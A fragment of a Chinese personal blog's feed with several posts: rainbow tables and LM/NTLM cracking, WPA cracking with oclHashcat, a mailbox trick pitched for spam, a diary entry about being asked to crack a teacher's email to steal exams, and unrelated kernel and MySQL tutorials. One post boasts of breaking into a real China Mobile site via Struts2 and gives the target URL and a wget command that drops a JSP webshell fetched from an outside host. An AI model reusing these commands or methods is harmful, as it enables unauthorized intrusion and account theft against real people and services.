rel="external"><span style="color: #008000;">XP free fast (703MB)</span></a>，<a href="http://downloads.sourceforge.net/ophcrack/tables_vista_free.zip" target="_blank" rel="external"><span style="color: #008000;">Vista free (461MB)</span></a>。空间不怎么够啊。</span><br><br>1.XP free（LM表：包含大小写+数字）380MB（<a href="http://downloads.sourceforge.net/ophcrack/tables_xp_free_small.zip" target="_blank" rel="external">官网</a><a href="http://downloads.sourceforge.net/ophcrack/tables_xp_free_small.zip" target="_blank" rel="external">免费下载</a>）<br>2.XP free fast（和前一个一样，但是速度更快）703MB（<a href="http://downloads.sourceforge.net/ophcrack/tables_xp_free_fast.zip" target="_blank" rel="external">官网</a><a href="http://downloads.sourceforge.net/ophcrack/tables_xp_free_fast.zip" target="_blank" rel="external">免费下载</a>）<br>3.XP special（LM表：大小写+数字+所有符号包括空格）7.5G（<a href="http://www.hexsafe.com/download/Ophcrack%20XP%20Special%20Tables.torrent" target="_blank" rel="external">种子下载</a>）<br>4.Vista free （NTLM表：包含常用密码）461MB（<a href="http://downloads.sourceforge.net/ophcrack/tables_vista_free.zip" target="_blank" rel="external">官网</a><a href="http://downloads.sourceforge.net/ophcrack/tables_vista_free.zip" target="_blank" rel="external">免费下载</a>）<br>5.Vista special（NTLM表：包含6位的全部可打印字符，7位的大小写字母数字，8位的小写和数字）8G（<a href="http://www.hexsafe.com/download/Ophcrack%20Vista%20Special%20NTHASH%20Table.torrent" target="_blank" rel="external">种子下载</a>）<br><br><strong>2.RainbowCrack（</strong><a href="http://project-rainbowcrack.com/" target="_blank" rel="external"><strong>http://project-rainbowcrack.com/</strong></a><strong>）</strong><br><br>通用的 一般的<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">破解软件</a>如saminside都支持 命令行界面 黑客的最爱 居家旅行杀人放火之必备 支持CUDA<br><br>可以自己生成表 不要钱 传说中的120G就来自于此……<br><br>支持HASH类型：LM, NTLM, MD5, SHA1, MYSQLSHA1, HALFLMCHALL, NTLMCHALL.<br><br>扩展名：rt<br><br>120G的种子：<a href="http://simeon.blog.51cto.com/attachment/200811/18680_1225698125.rar" target="_blank" rel="external">点我下载</a><br><br><strong>3.Free Rainbow Tables（</strong><a href="http://www.freerainbowtables.com/" target="_blank" rel="external"><strong>http://www.freerainbowtables.com/</strong></a><strong>）</strong><br><br>比较新的 用的索引和压缩 所以速度更快 体积更小 而且支持分布式破解<br><br>支持HASH类型：LM，MD5，NTLM，SHA1，HALFLMCHALL<br><br>网上有已经生成好的表可供下载 真是造福于民<br><br>扩展名：rti<br><br>======================================================================<br><br><strong>继续科普：什么是LM和NTLM呢</strong><br><br>1.话说在远古时期 DES当道 我们的微软公司在考虑9X系统口令加密的时候就自然地采用了国家标准 DES一次加密8字节 微软公司留一位校检 还剩7字节（这句话有错，先说声抱歉，<a href="http://hi.baidu.com/hcocoa/blog/item/320554036ad617064afb511d.html" target="_blank" rel="external">这篇文章</a>有解释） 也就是LM（Lan Manage）的核心<br><br>2.那有的小朋友要问了 万一我的口令是8位怎么办呢 不用怕 微软公司的程序员很“聪明” ：先把前7位加密 后一位补6个0 再当7位一起加密不就可以了吗 结果就真的这么做了……<br><br>3.这就导致破解LM密码只需7位一分割 然后再逐块破解 这大大减少了破解的难度 因为最后一块往往不够七位 一般瞬间即可出结果 也就是 7位和13位的密码 在黑客眼里 几乎是一样的 因为13位的后6位很快就能破解出来 而且可以根据后6位猜测出前7位的密码 这就是为什么我们破XP和2003密码很快的原因 因为他们都使用了LM加密方式<br><br>4.由于LM的种种不安全性 微软在设计NT系列操作系统是时采用的新的口令存储手段 即NTLM技术（New Technology Lan Manage） 采用MD4+RSA存储 立马安全性要高很多 但是为了保证兼容性 直到2003 微软仍然保持着LM的加密方式 也就是在2K 2K3 和XP中 我们的口令同时保存了两份 一份LM 一份NTLM 我们仍然可以通过LM破解2003的口令<br><br>5.在Vista和2008中 微软终于下定决心对LM斩草除根 只留下NTLM 破解难度陡增<br><br>6.话题回到彩虹表 由于LM最多只有7位 所以它的彩虹表很小 而NTLM用了散列函数 所以理论上口令可以是无限长的 所以NTLM的<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">彩虹表</a>往往很大 120G肯定是不够完成所有可打印字符的 具体多大偶现在不明……<br><br>7.今天的科普到此结束，感谢你有耐心看到这里～<br><br>明天有机会继续科普<a href="http://hi.baidu.com/hcocoa/blog/item/c03eefda3f11176fd1164e88.html" target="_blank" rel="external">彩虹表</a>～<br><br></div><br></div>]]></content>
    <summary type="html">
    <![CDATA[<p>今天抓了个hash，就去网上找了找彩虹表。以前都是看120g，60g，1.5t不敢下。现在发现怎么也要准备一个了，把片片删掉，来放裤裤和这个吧。</p>
<p># </p>
<h1 id="免费彩虹表破解工具汇总-收费彩虹表下载（种子）-LM和NTLM小科普"><a hre]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[网易邮箱未读邮件置顶]]></title>
    <link href="http://doubles.me/2013/01/13/320/"/>
    <id>http://doubles.me/2013/01/13/320/</id>
    <published>2013-01-13T14:33:38.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><a href="http://dlinux.sinaapp.com/2013/01/13/hack%e7%bd%91%e6%98%93%e9%82%ae%e7%ae%b1%e6%9c%aa%e8%af%bb%e9%82%ae%e4%bb%b6%e7%bd%ae%e9%a1%b6/qq%e6%88%aa%e5%9b%be20130114003048/" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/QQ20130114003048.png" alt="QQ20130114003048"></a>将发送时间修改到一个很远的时间，然后这封邮件无论如何都会显示在今天收信列表中。垃圾邮件可以好好干哦。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p><a href="http://dlinux.sinaapp.com/2013/01/13/hack%e7%bd%91%e6%98%93%e9%82%ae%e7%ae%b1%e6%9c%aa%e8%af%bb%e9%82%ae%e4%bb%b6%e7%bd%ae%e9%a1]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[就当是日记了]]></title>
    <link href="http://doubles.me/2013/01/09/315/"/>
    <id>http://doubles.me/2013/01/09/315/</id>
    <published>2013-01-09T11:47:50.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>有个妹子居然给我个老师的邮箱，要我破解密码。</p>
<p>不就是要偷卷子嘛。好吧，其实我自己都没搞定。</p>
<p>羞辱啊。耻辱啊。寒假一定要苦练技术。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>有个妹子居然给我个老师的邮箱，要我破解密码。</p>
<p>不就是要偷卷子嘛。好吧，其实我自己都没搞定。</p>
<p>羞辱啊。耻辱啊。寒假一定要苦练技术。</p>
]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[fedora下内核编译]]></title>
    <link href="http://doubles.me/2013/01/06/311/"/>
    <id>http://doubles.me/2013/01/06/311/</id>
    <published>2013-01-06T07:32:30.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>总结出来的编译过程就是这样：</p>
<p>1 下载解压内核源码，之后解压到自己的目录。</p>
<p>2 折腾一下系统，让它将合适的 module 都加载上。</p>
<p>3</p>
<p>make localmodconfig</p>
<p>make menuconfig</p>
<p>make bzImage</p>
<p>make modules_install</p>
<p>make install</p>
<p>(<span style="font-family: 宋体;">最新版本的好处可以使用</span><span style="font-family: Consolas;">make localmodconfig</span></p>
<p>make all <span style="font-family: 宋体;">进行自动编译，会编译出一个</span><span style="font-family: Consolas;">4m</span><span style="font-family: 宋体;">左右的内核。</span><span style="font-family: Consolas;">) </span></p>
<p>makeisofs</p>
<p>具体的看附件</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/Linuxnncj.zip" target="_blank" rel="external">Linux内核编译</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/01/nncj.doc" title="内核编译" target="_blank" rel="external">内核编译</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>总结出来的编译过程就是这样：</p>
<p>1 下载解压内核源码，之后解压到自己的目录。</p>
<p>2 折腾一下系统，让它将合适的 module 都加载上。</p>
<p>3</p>
<p>make localmodconfig</p>
<p>make menuconf]]>
    </summary>
    
      <category term="linux" scheme="http://doubles.me/tags/linux/"/>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[使用BigDump导入2M以上超大MySQL数据库文件]]></title>
    <link href="http://doubles.me/2012/12/31/296/"/>
    <id>http://doubles.me/2012/12/31/296/</id>
    <published>2012-12-31T15:03:58.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>建站的朋友都知道，<strong>PhpMyAdmin</strong>是最常用的 MySQL 数据库恢复工具，这是一个开源、免费的工具，大多数主机商都会免费提供 。相信很多WordPress站长也用过PhpMyAdmin 来进行网站数据库的备份和恢复，确实很方便，并且有多国语言界面。不过，有一种情况可能你还没碰到，就是当你的数据库体积比较大时，例如 SQL 备份文件大于 2MB，甚至大于 10MB，这个时候如果你通过 PhpMyAdmin 来导入mysql数据库，就会出错，显示如下的提示：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170359NvK.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<p>这是因为你的 SQL 文件体积太大，超过了 PhpMyAdmin 的处理能力，这种情况在网络速度比较慢的情况下尤为突出，例如站长在周末晚上8点这个网络拥挤的时段尝试使用 PhpMyAdmin 来恢复大型 MySQL 数据库备份，就容易遇到这种问题。</p>
<p>很显然 phpMyAdmin 只适用于恢复比较小的 SQL 文件备份。对于超大 MySQL 数据库备份的恢复，你必须换一个专用的恢复工具，那就是：<strong>BigDump</strong>！</p>
<h3 id="BigDump-数据库导入工具简介"><a href="#BigDump-数据库导入工具简介" class="headerlink" title="BigDump 数据库导入工具简介"></a>BigDump 数据库导入工具简介</h3><p>BigDump 是由德国人 <strong>Alexey Ozerov</strong> 用 PHP 语言开发的一个工具脚本，它只有一个文件，名为 bigdump.php（你可以改名运行）。这个文件是独立运行的，因此与你的网站核心程序无关，不管是 WordPress，Drupal 还是 Joomla，只要你使用的是 MySQL 数据库，都可以用 BigDump 来恢复超大的 .sql 格式备份文件。</p>
<p>BigDump 工作的原理也很简单：切割分段导入。它在读取 SQL 文件时，每次只读取一小部分，将其导入，然后重新开始一次恢复进程，再读取一小部分…… 周而复始，直到将整个 SQL 文件全部导入。</p>
<h3 id="BigDump-数据库恢复工具用法演示"><a href="#BigDump-数据库恢复工具用法演示" class="headerlink" title="BigDump 数据库恢复工具用法演示"></a>BigDump 数据库恢复工具用法演示</h3><p>假设我们已经有了一个 MySQL 数据库的备份文件，名为 gate2.sql，文件大小约 150MB（这么大的文件别指望通过 phpMyAdmin 来恢复了）。数据库字符编码为 utf-8。我们演示一下如何通过 bigdump.php 工具将这个备份文件恢复到在线数据库中去。</p>
<h4 id="1、获取-BigDump-文件并设置"><a href="#1、获取-BigDump-文件并设置" class="headerlink" title="1、获取 BigDump 文件并设置"></a>1、获取 BigDump 文件并设置</h4><p>我们下载 BidDump 工具并解 压，得到一个 bigdump.php 文件。毫无疑问，bigdump.php 文件需要设置一些参数，否则它怎么知道要导入的数据库的连接帐号？</p>
<p>用文本编辑器打开 bigdump.php 文件，在大约第 38 行开始，我们设置要导入的 MySQL 数据库连接参数。如下图所示：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170401HAT.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<p>一般来说，设置好这几项就可以了。对于某些特殊数据库，还需要在下面第66行左右设置数据库字符编码。bigdump.php 文件中没有预设这个参数，原文是：</p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><pre>1</pre><br></p>
<p><td></td></p>
<p><pre>$db_connection_charset = ‘’;</pre><br><br><br><br><br><br>如果你的数据库是 UTF-8 编码，那么此处就要修改为：</p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><pre>1</pre><br></p>
<p><td></td></p>
<p><pre>$db_connection_charset = ‘utf8’;</pre><br><br><br><br><br><br>注意那个连字符要去掉。如下图所示：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/1704020HY.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<p>接下来将设置好的 bigdump.php 文件上传到 Joomla 网站上，推荐上传到 /tmp 这个临时目录。</p>
<h4 id="2、上传-MySQL-数据库备份文件"><a href="#2、上传-MySQL-数据库备份文件" class="headerlink" title="2、上传 MySQL 数据库备份文件"></a>2、上传 MySQL 数据库备份文件</h4><p>现在需要将数据库备份文件上传到 bigdump.php 所在的 /tmp 目录中。考虑到文件较大，我们通过 FTP 软件 FileZilla 上传 zip 格式的文件，然后借助 Joomla 后台安装的 eXtplorer 资源管理器组件 将其远程解压，在 /tmp 目录中得到 gate2.sql 文件。</p>
<h4 id="3、启动-BigDump-工具"><a href="#3、启动-BigDump-工具" class="headerlink" title="3、启动 BigDump 工具"></a>3、启动 BigDump 工具</h4><p>在浏览器地址栏输入 bigdump.php 所在 URL 并回车，运行这个文件。例如本次演示是在本地测试服务器上进行，那么对应的运行网址是：</p>
<p><a href="http://localhost/gate/tmp/bigdump.php" target="_blank" rel="external">http://localhost/gate/tmp/bigdump.php</a></p>
<p>如果你输入的 URL 正确，就应该看到如下画面：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170404gdL.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<p>这就表示 BigDump 工具已经成功启动，它在启动时就自动扫描所在目录中的全部文件和子目录。如果找到 SQL 格式或者 gzip/zip 格式文件，就假设这是数据库文件，在这些文件后面，就会显示出相应的操作链接。例如在上图中，它探测到所在目录中有一个 gate2.sql 文件，那么针对该文件就在表格右侧同一行中显示了两条操作链接，分别是“Start Import”（开始导入）和“Delete file” （删除文件）。上图的表格中也显示了 SQL 文件的大小，可以看到这个备份文件接近 150MB。</p>
<p>在上图中，还可以看到一个文件上传功能，点击那个“浏览”按钮，你就可以上传一个 SQL 文件（或其压缩包）来进行导入。但是我们不推荐使用此功能。对于大型文件，FTP 上传是最佳选择。</p>
<h4 id="4、运行-BigDump-导入功能"><a href="#4、运行-BigDump-导入功能" class="headerlink" title="4、运行 BigDump 导入功能"></a>4、运行 BigDump 导入功能</h4><p>点击上图中的“Start Import” 链接，就看到如下画面：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170406gxR.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com">点</p>
<p>上面这个是导入开始一段时间之后所截取的，可以看出 BigDump 正在顺利进行 SQL 文件的导入。表格中不仅显示了文件大小，还显示了已经导入的字节数及总体进度。</p>
<p>经过一段时间后（大约20分钟），这个 150MB 大小的 SQL 文件终于导入结束，看到如下画面：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170411510.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<p>原来显示进度条的地方，现在显示了一条消息：</p>
<p><strong>“Congratulations: End of file reached, assuming OK”
</strong></p>
<p>意思是说：已经到达文件末尾，想必应该成功了。看到这条消息，你就可以完全放心了。BigDump 已经成功地将你的 SQL 备份文件导入到你所指定的 MySQL 数据库里面了。</p>
<p>注意：数据库恢复成功结束后，不要忘记删除 bigdump.php 备份工具和你的 SQL 文件！</p>
<h3 id="使用-BigDump-数据库导入工具的注意事项"><a href="#使用-BigDump-数据库导入工具的注意事项" class="headerlink" title="使用 BigDump 数据库导入工具的注意事项"></a>使用 BigDump 数据库导入工具的注意事项</h3><h4 id="1、在开始导入之前，目标数据库必须清空"><a href="#1、在开始导入之前，目标数据库必须清空" class="headerlink" title="1、在开始导入之前，目标数据库必须清空"></a>1、在开始导入之前，目标数据库必须清空</h4><p>如果目标数据库里面含有记录，那么 BigDump 就无法导入，会报错停止。因此请在开始运行 bigdump.php 文件之前，将目标数据库清空（最好删除全部内容）。</p>
<h4 id="2、所用的-SQL-文件不能含有-Extended-Inserts"><a href="#2、所用的-SQL-文件不能含有-Extended-Inserts" class="headerlink" title="2、所用的 SQL 文件不能含有 Extended Inserts"></a>2、所用的 SQL 文件不能含有 Extended Inserts</h4><p>或许很多第一次使用 BigDump 的用户都会遭遇这个问题。这是因为 phpMyAdmin 在导出数据库时，已经默认勾选了“使用扩展插入”。</p>
<p>这里的“扩展插入”就是 Extended Inserts，而 BigDump 是不能处理带有 Extended Inserts 的 SQL 文件的。所以，在你制作数据库备份时，必须在 phpMyAdmin 的面板上去掉“扩展插入”的勾选。如下图所示：</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/170412WUR.png" alt="使用BigDump导入2M以上超大MySQL数据库文件" title="使用BigDump导入2M以上超大MySQL数据库文件 | 倡萌的自留地 cmhello.com"></p>
<h4 id="3、如何使-Akeeba-Backup-与-BigDump-配合工作？"><a href="#3、如何使-Akeeba-Backup-与-BigDump-配合工作？" class="headerlink" title="3、如何使 Akeeba Backup 与 BigDump 配合工作？"></a>3、如何使 Akeeba Backup 与 BigDump 配合工作？</h4><p>我们前面推荐大家使用 Akeeba Backup 来制作备份文件。那么，可否使用 Akeeba Backup 来制作数据库备份，然后通过 BigDump 导入？当然是可以的。不过，这里面需要一些特殊技巧。我们将在 Akeeba Backup 使用详解 这篇教程中介绍。</p>
<h4 id="4、使用-BigDump-导入仍然发生超时错误"><a href="#4、使用-BigDump-导入仍然发生超时错误" class="headerlink" title="4、使用 BigDump 导入仍然发生超时错误"></a>4、使用 BigDump 导入仍然发生超时错误</h4><p>这种问题多见于配置比较低的服务器，或者服务器繁忙时段。那么，你可以尝试修改 bigdump.php 文件中的“Other settings (optional)” 这部分的 <strong>$linespersession</strong> 参数，将默认值 3000 修改得更小一些。（不过，我认为你还是换一个更好的服务器吧，例如 Hawkhost）。</p>
<h4 id="5、发生-MySQL-服务器超载怎么办？"><a href="#5、发生-MySQL-服务器超载怎么办？" class="headerlink" title="5、发生 MySQL 服务器超载怎么办？"></a>5、发生 MySQL 服务器超载怎么办？</h4><p>如果服务器性能较差，在运行 bigdump.php 过程中可能会发生 MySQL 服务器超载（overrun）故障。你可以修改 bigdump.php 文件中的 <strong>$delaypersession</strong> 参数来解决。该参数让 bigdump.php 文件在结束一个片段的导入之后，休息一段时间（你设定的数值就是暂停的时间，单位：毫秒），然后再开始下一个片段的导入，这样服务器就不会太累了。</p>
<h4 id="6、直接把-sql-格式文件交给-BigDump"><a href="#6、直接把-sql-格式文件交给-BigDump" class="headerlink" title="6、直接把 .sql 格式文件交给 BigDump"></a>6、直接把 .sql 格式文件交给 BigDump</h4><p>在本次演示中，我们先将 zip 格式的备份包上传到服务器上，然后又将它解压成 .sql 格式的文件，再通过 BigDump 来导入。为什么不直接用 BigDump 来导入压缩格式的备份文件？</p>
<p>没错，BigDump 具有导入压缩格式 SQL 备份文件（zip/gzip）的能力，但是在处理压缩文件时，它需要先在临时目录中将其解压，再读取。请注意：这个解压并不是一次性的，而是每导入一个小 片段，就要将整个压缩包重新解压一次。因此，直接导入压缩格式文件，反而使 bigdump.php 运行变慢。</p>
<h4 id="7、还有更奇怪的问题……"><a href="#7、还有更奇怪的问题……" class="headerlink" title="7、还有更奇怪的问题……"></a>7、还有更奇怪的问题……</h4><p>一般来说，运行 bigdump.php 导入一个 SQL 备份文件非常容易。如果你参照上述注意事项及操作过程，仍然不能顺利完成数据库备份文件的导入，那么请到 BigDump 官方网站 阅读更多 FAQ，查找原因。如果还无法解决，可以到 Joomla 中文论坛 发帖讨论。</p>
<p><a href="http://www.joomlagate.com/download/other-free-stuff/bigdump/start-download/" target="_blank" rel="external">下载 BigDump（bigdump.php） 大型数据库 SQL 文件分段导入工具 v0.32b 英文版</a></p>
<p>最后导入状况是这样的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20130101010304.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20130101010304.png" alt="" title="QQ20130101010304"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>建站的朋友都知道，<strong>PhpMyAdmin</strong>是最常用的 MySQL 数据库恢复工具，这是一个开源、免费的工具，大多数主机商都会免费提供 。相信很多WordPress站长也用过PhpMyAdmin 来进行网站数据库的备份和恢复，确实很方便，并且有多]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[河南10086的陷落]]></title>
    <link href="http://doubles.me/2012/12/15/267/"/>
    <id>http://doubles.me/2012/12/15/267/</id>
    <published>2012-12-15T04:05:27.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>看到struts2出来了，爆了好多大站，手痒，也来搞了一搞。</p>
<p>一个10086的站点就下来了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/20121214131828.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/20121214131828.png" alt="" title="20121214131828"></a></p>
<p><a href="http://www.ha.10086.cn/zhaopin/jobFront/jobFront!seeJobHisFront.action?id=1116" target="_blank" rel="external">http://www.ha.10086.cn/zhaopin/jobFront/jobFront!seeJobHisFront.action?id=1116</a><br>ls /opt/tomcat7.0/webapps/zhaopin/upload</p>
<p>wget -O /opt/tomcat7.0/webapps/zhaopin/upload/help.jsp <a href="http://test-mozutaba.rhcloud.com/jsp.txt" target="_blank" rel="external">http://test-mozutaba.rhcloud.com/jsp.txt</a></p>
<p>echo disable&gt;/opt/tomcat7.0/webapps/zhaopin/upload/read.txt</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>看到struts2出来了，爆了好多大站，手痒，也来搞了一搞。</p>
<p>一个10086的站点就下来了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/20121214131828.png" t]]>
    </summary>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Cracking WPA/WPA2 with Oclhc-plus]]></title>
    <link href="http://doubles.me/2012/12/11/246/"/>
    <id>http://doubles.me/2012/12/11/246/</id>
    <published>2012-12-11T13:41:54.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h2 id=""><a href="#" class="headerlink" title=""></a><a id="the_cap_and_hccap" name="the_cap_and_hccap"></a></h2><p>这个网站里面有4个文件：这里下载<a href="http://hashcat.net" target="_blank" rel="external">http://hashcat.net</a></p>
<p>hashcat-0.41.7z<br>hashcat-gui-0.5.1.7z<br>oclHashcat-lite-0.10.7z<br>oclHashcat-plus-0.09.7z</p>
<p>注意一下，里面hashcat是主项目，hashcat-gui是增加了一个界面，oclhashcat-plus可以破解wpa2，lite自然是精简版啦。</p>
<p>里面只有oclhashcat-plus可以破解wpa/wpa2，下载后，将<br>hashcat-0.41.7z<br>oclHashcat-lite-0.10.7z<br>oclHashcat-plus-0.09.7z</p>
<p>这3个文件解压后放入hashcat-gui-0.5.1里面；</p>
<p>解压后里面也有对应的文件夹，记得去掉版本号。最后是：</p>
<p>hashcat-gui</p>
<p>|——hashcat</p>
<p>|——oclHashcat-lite</p>
<p>|——oclHashcat-plus</p>
<p>然后就可以开始我们的破解了。</p>
<p><a href="http://hashcat.net/cap2hccap/" title="http://hashcat.net/cap2hccap/" target="_blank" rel="external">http://hashcat.net/cap2hccap/</a>到这个网站把cap包转成hccap，</p>
<p>也可以用aircrack转换：aircrack-ng &lt;out.cap&gt; -J &lt;out.hccap&gt;</p>
<p>然后我们打开hashcat-gui64.exe，（32位的就换hashcat-gui32.exe）</p>
<p>&nbsp;</p>
<p>选择自己的显卡，我是ati5470，选择amd了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/12.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/12.png" alt="" title="1"></a></p>
<p>照图来做，然后点击start就开始破解了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/22.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/22.png" alt="" title="2"></a></p>
<p>第一次运行会要求输入大写的YES，然后就可以运行了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/31.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/31.png" alt="" title="3"></a></p>
<p>显卡参数不怎么样，输入s可以查看破解状态，p可以暂停，r可以恢复，q可以退出。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/41.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/41.png" alt="" title="4"></a></p>
<p>可以看到目标是FAST410，速度是2500，和我的ewsa是一样的速度，但是他的好处就是，完全不卡。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/51.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/51.png" alt="" title="5"></a></p>
<p>cpu只占用25%，干什么都行了。下面是官方说明。</p>
<h2 id="The-cap-and-hccap"><a href="#The-cap-and-hccap" class="headerlink" title="The .cap and .hccap"></a>The .cap and .hccap</h2><div><br><br>oclHashcat-plus accepts the WPA/WPA2 hashes in it’s own “hccap” file. Assuming you already captured a 4-way handshake using airodump-ng, Wireshark or tcpdump, the next step will be converting the .cap file to a format oclHashcat-plus will understand. The easiest way is to go to one of these sites for converting:<br><br>*   <div><a href="http://hashcat.net/cap2hccap/" title="http://hashcat.net/cap2hccap/" target="_blank" rel="external">http://hashcat.net/cap2hccap/</a></div><br>Upload your .cap and get a .hccap file.<br><br>The problem with that is that you upload some sensitive data to a strange place. If you dont mind go for it.<br><br>Otherwise here is what they do (in this order):<br><br>1.  <div>Run it through “wpaclean” utility</div><br>2.  <div>Convert it with “aircrack-ng” using the -J option</div><br></div>

<h5 id="To-convert-your-cap-files-manually-in-Backtrack"><a href="#To-convert-your-cap-files-manually-in-Backtrack" class="headerlink" title="To convert your .cap files manually in Backtrack."></a><a id="to_convert_your_cap_files_manually_in_backtrack" name="to_convert_your_cap_files_manually_in_backtrack"></a>To convert your .cap files manually in Backtrack.</h5><div><br><br>Download and install the latest Aircrack build <a href="http://nightly.aircrack-ng.org/aircrack-ng/trunk/" title="http://nightly.aircrack-ng.org/aircrack-ng/trunk/" target="_blank" rel="external">here.</a> The list of builds is upside down so the latest can be found at the bottom of the page.<br><br>Example working code for wpaclean.<br><pre>wpaclean &lt;out.cap&gt; &lt;in.cap&gt;</pre><br>Please note that the wpaclean options are the wrong way round. &lt;out.cap&gt; &lt;in.cap&gt; instead of &lt;in.cap&gt; &lt;out.cap&gt; which may cause some confusion.<br><br>Example working code aircrack .cap conversion to .hccap<br><pre>aircrack-ng &lt;out.cap&gt; -J &lt;out.hccap&gt;</pre><br>Note the -J is a capitol J not lower case j.<br><br>A script is provided <a href="http://hashcat.net/wiki/doku.php?id=wpa_clean_and_convert_script" title="wpa_clean_and_convert_script" target="_blank" rel="external">here</a> to automate this process.<br><br></div>

<h2 id="Preparation"><a href="#Preparation" class="headerlink" title="Preparation"></a><a id="preparation" name="preparation"></a>Preparation</h2><div><br><br>oclHashcat-plus is very flexible, so I’ll cover three most common and basic scenarios:<br><br>1.  <div><a href="http://hashcat.net/wiki/doku.php?id=dictionary_attack" title="dictionary_attack" target="_blank" rel="external">Dictionary attack</a></div><br>2.  <div><a href="http://hashcat.net/wiki/doku.php?id=brute_force_attack" title="brute_force_attack" target="_blank" rel="external">Brute-Force attack</a></div><br>3.  <div><a href="http://hashcat.net/wiki/doku.php?id=rule_based_attack" title="rule_based_attack" target="_blank" rel="external">Rule-based attack</a></div><br></div>

<h3 id="Dictionary-attack"><a href="#Dictionary-attack" class="headerlink" title="Dictionary attack"></a><a id="dictionary_attack" name="dictionary_attack"></a>Dictionary attack</h3><div><br><br><em>   <div>Grab some wordlist, like <a href="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2" title="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2" target="_blank" rel="external">Rockyou</a>.</div>
</em>   <div>Put it into oclhc-plus folder.</div><br><em>   <div>Rename your converted capture file “capture.hccap”.</div>
